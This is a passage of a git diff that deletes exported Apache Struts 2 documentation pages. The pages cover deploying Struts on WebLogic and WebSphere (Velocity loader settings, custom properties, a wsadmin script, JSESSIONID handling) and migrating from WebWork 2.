-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>WebLogic</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="application-servers.html">Application Servers</a>&nbsp;&gt;&nbsp;<a href="weblogic.html">WebLogic</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">WebLogic</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14280">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14280">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14280">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14280">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14280">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14280">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>When deploying to WebLogic, some developers report problems with the framework locating resources, especially with Velocity. For more about WebLogic and Velocity, see the <a shape="rect" class="external-link" href="http://wiki.apache.org/jakarta-velocity/VelocityAndWeblogic">Velocity website</a>.</p></div></div>
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>To deploy to WebLogic, the common approach is to create and deploy an unexpanded WAR to the WebLogic deployment directory. With WL 8.x, the deployment directory is typically at <code>&lt;bea_home&gt;/user_projects/domains/mydomain/</code>.</p></div></div>
-
-<h2 id="WebLogic-Addinganstruts-velocity.propertiesConfigurationFile">Adding an <code>struts-velocity.properties</code> Configuration File</h2>
-
-<ul><li>In the <code>struts.properties</code> file (usually kept in the <code>WEB-INF/classes</code> directory), add an entry that specifies a Velocity configuation file.
-	<ul><li><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.properties</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-struts.velocity.configfile = struts-velocity.properties
-</pre>
-</div></div></li></ul>
-	</li></ul>
-
-
-<ul><li>Create the corresponding Velocity properties file ("struts-velocity.properties"), preferably in the same location as the <code>struts.properties</code> file.</li></ul>
-
-
-<ul><li>Copy into the Velocity properties file the contents of the <code>velocity.properties</code> file that is the the SAF <code>velocity-dep.jar</code>.</li></ul>
-
-
-<ul><li>In your new <code>struts-velocity.properties</code> file, find he section titled  "<code>T E M P L A T E  L O A D E R S</code>", and change this section as so:</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-===========================================
-resource.loader = class
-
-file.resource.loader.description = Velocity File Resource Loader
-file.resource.loader.class = org.apache.velocity.runtime.resource.loader.FileResourceLoader
-file.resource.loader.path = .
-file.resource.loader.cache = false
-file.resource.loader.modificationCheckInterval = 2
-
-class.resource.loader.class = org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
-class.resource.loader.cache = true
-===========================================
-</pre>
-</div></div>
-
-<ul><li>Redeploy a fresh WAR to WebLogic.</li></ul>
-
-
-<h2 id="WebLogic-NPEwhenusingStruts2JasperReportsplugin">NPE when using Struts 2 Jasper Reports plugin</h2>
-
-<p>When using mentioned plugin in Weblogic 11g you can get NullPointerException within Struts 2. To solve the problem you must enable the "Archived Real Path" global property in Weblogic admin console &gt; configuration &gt; Web Applications. It's because JasperReportsResult determines the report directory base on servletContext.getRealPath(finalLocation).</p>
-
-<h2 id="WebLogic-Conventionbasedapplicationdoesn'twork">Convention based application doesn't work</h2>
-
-<p>When you deployed an application that base on the Convention Plugin and you get an error messages that says:</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>There is no Action mapped for namespace / and action name xxxxxx
-</pre>
-</div></div>
-
-<p>create struts.properties file in WEB-INF/classes folder (in the expanded application's folder or in the source code) with below statements:</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>#struts convention property modifications for Weblogic
-struts.convention.action.includeJars=.*?/yourwebapp.*?jar(!/)?
-struts.convention.action.fileProtocols=jar,zip
-</pre>
-</div></div>
-
-<p>Thanks to Amit who the first published solution on his <a shape="rect" class="external-link" href="http://tech-architecture.blogspot.com/2009/02/getting-struts-21-to-work-in-weblogic.html" rel="nofollow">blog</a></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/websphere.html b/content/docs/websphere.html
deleted file mode 100644
index d90e885..0000000
--- a/content/docs/websphere.html
+++ /dev/null
@@ -1,274 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>WebSphere</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="application-servers.html">Application Servers</a>&nbsp;&gt;&nbsp;<a href="websphere.html">WebSphere</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">WebSphere</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13934">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13934">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13934">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13934">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13934">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13934">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="WebSphere-WebSphere5.1">WebSphere 5.1</h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> <a shape="rect" class="external-link" href="http://forums.opensymphony.com/thread.jspa?threadID=26068" rel="nofollow">Be sure to install WebSphere's Fix Pack 1</a>.</p>
-
-<h2 id="WebSphere-WebSphere6">WebSphere 6</h2>
-
-<p>See forum thread: <a shape="rect" class="external-link" href="http://forums.opensymphony.com/message.jspa?messageID=119574#119574" rel="nofollow">http://forums.opensymphony.com/message.jspa?messageID=119574#119574</a></p>
-
-<blockquote>
-<p>It looks like there is a bug in WebSphere App Server related to which classloader is used at the time that Struts2 is loading the properties files, (all properties files, not just struts.properties and default.properties). The bug may have been fixed in WAS 6.0.2.9, (check out this link for details <a shape="rect" class="external-link" href="http://www-1.ibm.com/support/docview.wss?uid=swg27006876" rel="nofollow">http://www-1.ibm.com/support/docview.wss?uid=swg27006876</a>).</p>
-
-<p>If you just want to confirm the issue, or you need just a temporary fix, try this:</p>
-
-<p>1) jar up all properties files for your project, (including default.properties in its full path), and put these into the WS common applications lib directory at the same level as the "profiles" directory.<br clear="none">
-2) Run the application - everything should work</p>
-
-<p>This solution is strictly temporary, as all struts2 apps in this instance of WAS would have to use the same properties files. A better solution:</p>
-
-<p>1) add a servlet that initializes the Struts Dispatcher with the servlet context:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-import org.apache.struts2.dispatcher.Dispatcher;
- 
-public class LaunchServlet extends HttpServlet implements Servlet {
- 
-	public LaunchServlet() {
-		super();
-	}
- 
-	public void init(ServletConfig arg0) throws ServletException {
-		
-		// this works around a bug in the websphere classloader.
-		super.init(arg0);
-		Dispatcher d = new Dispatcher(getServletContext(), new HashMap&lt;String, String&gt;());	
-		
-	}
- 
-}
-</pre>
-</div></div>
-<p>2) launch it at start-up (web.xml):</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-    &lt;servlet&gt;
-      &lt;servlet-name&gt;dummyaction&lt;/servlet-name&gt;
-      &lt;servlet-class&gt;com.xxx.yyyyyy.service.LaunchServlet&lt;/servlet-class&gt;
-      &lt;load-on-startup&gt;1&lt;/load-on-startup&gt;
-    &lt;/servlet&gt;
-</pre>
-</div></div>
-<p>3) Run application and everything should work. </p></blockquote>
-
-<h2 id="WebSphere-WebSphere6.5">WebSphere 6.5</h2>
-
-<p>To make struts2 work in Websphere, one has to set Websphere specific properties, you may want to add that to the wiki:</p>
-
-<p>The properties are:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>com.ibm.ws.webcontainer.assumefiltersuccessonsecurityerror = true
-com.ibm.ws.webcontainer.invokefilterscompatibility = true
-</pre>
-</div></div>
-
-<p>At least that is necessary when using StrutsPrepareAndExecuteFilter.</p>
-
-<p>In Websphre admin console one has to add those properties here:</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>Servers &gt; Application servers &gt; {server name} &gt; Web container &gt; Custom Properties
-</pre>
-</div></div>
-
-<p>A wsadmin jython script to set those properties could look like this:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-
-def findObjectName(objectId):
-        index = objectId.find('(')
-        return objectId[0 : index]
-
-node = AdminNodeManagement.listNodes()[0]
-server = AdminConfig.list('Server')
-
-nodeName = findObjectName(node)
-serverName = findObjectName(server)
-
-webContainer = AdminConfig.list('WebContainer', node)
-webContainerDetails = AdminConfig.show(webContainer)
-
-if webContainerDetails.find("com.ibm.ws.webcontainer.assumefiltersuccessonsecurityerror") == -1:
-        print "creating prop: com.ibm.ws.webcontainer.assumefiltersuccessonsecurityerror"
-        AdminServerManagement.configureCustomProperty(nodeName, serverName, "WebContainer","com.ibm.ws.webcontainer.assumefiltersuccessonsecurityerror", "true")
-if webContainerDetails.find("com.ibm.ws.webcontainer.invokefilterscompatibility") == -1:
-        print "creating prop: com.ibm.ws.webcontainer.invokefilterscompatibility"
-        AdminServerManagement.configureCustomProperty(nodeName, serverName, "WebContainer", "com.ibm.ws.webcontainer.invokefilterscompatibility", "true")
-</pre>
-</div></div>
-
-<p>Thanks to Christoph Nenning (christoph dot nenning at lex-com at net)</p>
-
-<h2 id="WebSphere-JSESSIONIDhandling">JSESSIONID handling</h2>
-
-<p>IBM WebSphere Application Server uses the JSESSIONID information to keep track of the client session. If you have an application where the application client must navigate across multiple WebSphere Application Server nodes residing in same domain, then the JSESSIONID information may be over-written on the client because multiple JSESSIONID cookies received with the same name and path.</p>
-
-<p>When persistence is disabled and if the JSESSIONID in the incoming request is not found in the current session manager, then the session manager will generate a new sessionId and create a session object, instead of using the sessionId in the incoming request.</p>
-
-<p>To resolve this issue, configure WebSphere Application Server to reuse the sessionId present in the incoming request.</p>
-
-<p>For All versions:</p>
-<ol><li>Open the administrative console.</li><li>Select Servers &gt; Application Servers &gt; Server_Name &gt; Server Infrastructure &gt; Java and Process Management &gt; Process Definition &gt; Java Virtual Machine &gt; Custom Properties &gt; New</li><li>Add a new Custom Property for the JVM to reuse the sessionId:
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>System Property Name: HttpSessionIdReuse
-System Property Value: true
-</pre>
-</div></div></li><li>Save your changes and restart the Application Server.</li></ol>
-
-
-<p>If the application client does not navigate across multiple WebSphere Application Server nodes residing in the same domain but there are multiple WARs with different context roots, following is the step that needs to be followed for session to be maintained in one web application:</p>
-<ol><li>Open the administrative console.</li><li>Select Application servers &gt; Server_Name &gt; Session management &gt; Cookies</li><li>In "Cookie Path", specify the context root of web application in which session needs to be maintained. This will ensure that cookies are sent only to /&lt;&lt;context_root&gt;&gt; URL and prevent overriding of JSSESSIONID cookie which results in new session creation by WAS.</li><li>Save your changes and restart the Application Server.</li></ol>
-
-
-<p>Thanks to Vineet Kanwal from IBM!</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/webwork-2-migration-strategies.html b/content/docs/webwork-2-migration-strategies.html
deleted file mode 100644
index 07ba421..0000000
--- a/content/docs/webwork-2-migration-strategies.html
+++ /dev/null
@@ -1,201 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>WebWork 2 Migration Strategies</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="webwork-2-migration-strategies.html">WebWork 2 Migration Strategies</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">WebWork 2 Migration Strategies</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26951">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26951">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26951">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26951">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26951">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26951">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><em>(originally <a shape="rect" class="external-link" href="http://forums.opensymphony.com/thread.jspa?messageID=90532" rel="nofollow">posted</a> on the WebWork user forum)</em></p>
-
-<p>I just finished migrating two applications from Webwork 2.2.4 to Struts 2.0.0 and thought I'd share what steps are involved in the process.</p>
-
-<h3 id="WebWork2MigrationStrategies-DTDsnamespaces">DTDs namespaces</h3>
-
-<p>XWork was moved under ASF umbrella sometime ago, thus caused change in DOCTYPE, to be compliant with the current version use the latest version available <a shape="rect" class="external-link" href="http://struts.apache.org/dtds/">here</a>. Below is presented the wrong DTD:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE xwork PUBLIC 
-	"-//OpenSymphony Group//XWork 1.1.1//EN"
-	"http://www.opensymphony.com/xwork/xwork-1.1.1.dtd"&gt;
-
-&lt;xwork&gt;
-....
-</pre>
-</div></div>
-
-<p>The valid one should like this:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!DOCTYPE xwork PUBLIC 
-	"-//Apache Struts//XWork 1.0//EN"
-	"http://struts.apache.org/dtds/xwork-1.1.1.dtd"&gt;
-&lt;xwork&gt;
-....
-</pre>
-</div></div>
-
-<h3 id="WebWork2MigrationStrategies-Packagenames">Package names</h3>
-<p>Substitute <code>com.opensymphony.webwork</code> to <code>org.apache.struts2</code>.<br clear="none">
-Substitute <code>com.opensymphony.xwork</code> to <code>com.opensymphony.xwork2</code>.</p>
-
-<h3 id="WebWork2MigrationStrategies-Configurationfiles">Configuration files</h3>
-<p>Rename <code>webwork.properties</code> to <code>struts.properties</code>.<br clear="none">
-Rename <code>xwork.xml</code> to <code>struts.xml</code>.</p>
-
-<p>Change all occurrences of 'webwork' in <code>struts.properties</code> and <code>struts.xml</code> to 'struts'.<br clear="none">
-In <code>web.xml</code>, change <code>com.opensymphony.webwork.dispatcher.FilterDispatcher</code> to <code>org.apache.struts2.dispatcher.FilterDispatcher</code>.</p>
-
-<h3 id="WebWork2MigrationStrategies-Converters">Converters</h3>
-<p>If you are using converters that subclass WebworkTypeConverter, rename the superclass to StrutsTypeConverter.</p>
-
-<h3 id="WebWork2MigrationStrategies-JSP's">JSP's</h3>
-<p>You have to change the taglib URI: <code>uri="/webwork"</code> to <code>uri="/struts-tags"</code></p>
-
-<p>Then you're done!<br clear="none">
-Well, maybe I've forgotten something but I'll guess you find that out when you try do compile and deploy your application... <img class="emoticon emoticon-smile" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/smile.png" data-emoticon-name="smile" alt="(smile)"></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/webxml.html b/content/docs/webxml.html
deleted file mode 100644
index 2666810..0000000
--- a/content/docs/webxml.html
+++ /dev/null
@@ -1,204 +0,0 @@
